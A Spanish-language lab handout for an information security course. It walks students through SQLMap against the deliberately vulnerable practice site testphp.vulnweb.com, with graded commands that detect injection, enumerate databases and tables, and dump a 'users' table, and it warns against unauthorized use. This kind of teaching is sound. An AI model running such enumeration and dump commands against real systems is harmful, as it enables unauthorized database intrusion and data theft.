

Laboratorio SQLMap - Seguridad de la Información

1. Introducción

SQLMap es una herramienta automatizada de código abierto que permite detectar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Su uso es esencial para realizar pruebas de penetración controladas y evaluar la seguridad de sistemas que gestionan bases de datos.

Este laboratorio se realizará en un entorno seguro utilizando Kali Linux y el sitio <http://testphp.vulnweb.com/>, el cual está intencionalmente diseñado para prácticas de hacking ético.

2. Objetivos del Laboratorio

- Comprender el funcionamiento básico de SQLMap.
- Identificar vulnerabilidades de inyección SQL en una URL dada.
- Enumerar bases de datos, tablas y columnas.
- Extraer información sensible desde un entorno seguro y controlado.

3. Requisitos del Entorno

Para el correcto desarrollo de este laboratorio se necesita:

- Máquina virtual o física con Kali Linux.
- Acceso a internet.
- SQLMap (preinstalado en Kali Linux).
- Navegador web y terminal de comandos.

4. Consideraciones Éticas y Legales

El uso de herramientas como SQLMap debe estar restringido a entornos autorizados y educativos. Toda prueba de seguridad debe contar con el consentimiento del propietario del sistema. Realizar

Laboratorio SQLMap - Seguridad de la Información

actividades sin permiso es ilegal y va en contra de los principios de la ética profesional en ciberseguridad.

5. Verificación de Instalación de SQLMap en Kali Linux

SQLMap viene instalado por defecto en Kali Linux. Para verificarlo, abra una terminal y ejecute:

```
sqlmap --version
```

Si no está instalado, puede instalarlo con:

```
sudo apt update && sudo apt install sqlmap
```

6. Actividades del Laboratorio

Cada una de estas actividades equivale a un punto de calificación:

1. Verificar si una URL es vulnerable a inyección SQL:

```
sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?cat=1' --batch --banner
```

2. Enumerar las bases de datos disponibles:

```
sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?cat=1' --dbs
```

3. Listar las tablas de una base de datos específica (por ejemplo, 'acuart'):

```
sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?cat=1' -D acuart --tables
```

4. Extraer los datos de una tabla específica (por ejemplo, 'users'):

Laboratorio SQLMap - Seguridad de la Información

```
sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?cat=1' -D acuart -T users --dump
```

7. Advertencia Final

Este laboratorio es exclusivamente académico. Queda estrictamente prohibido usar SQLMap en sistemas no autorizados. El incumplimiento puede derivar en consecuencias legales severas.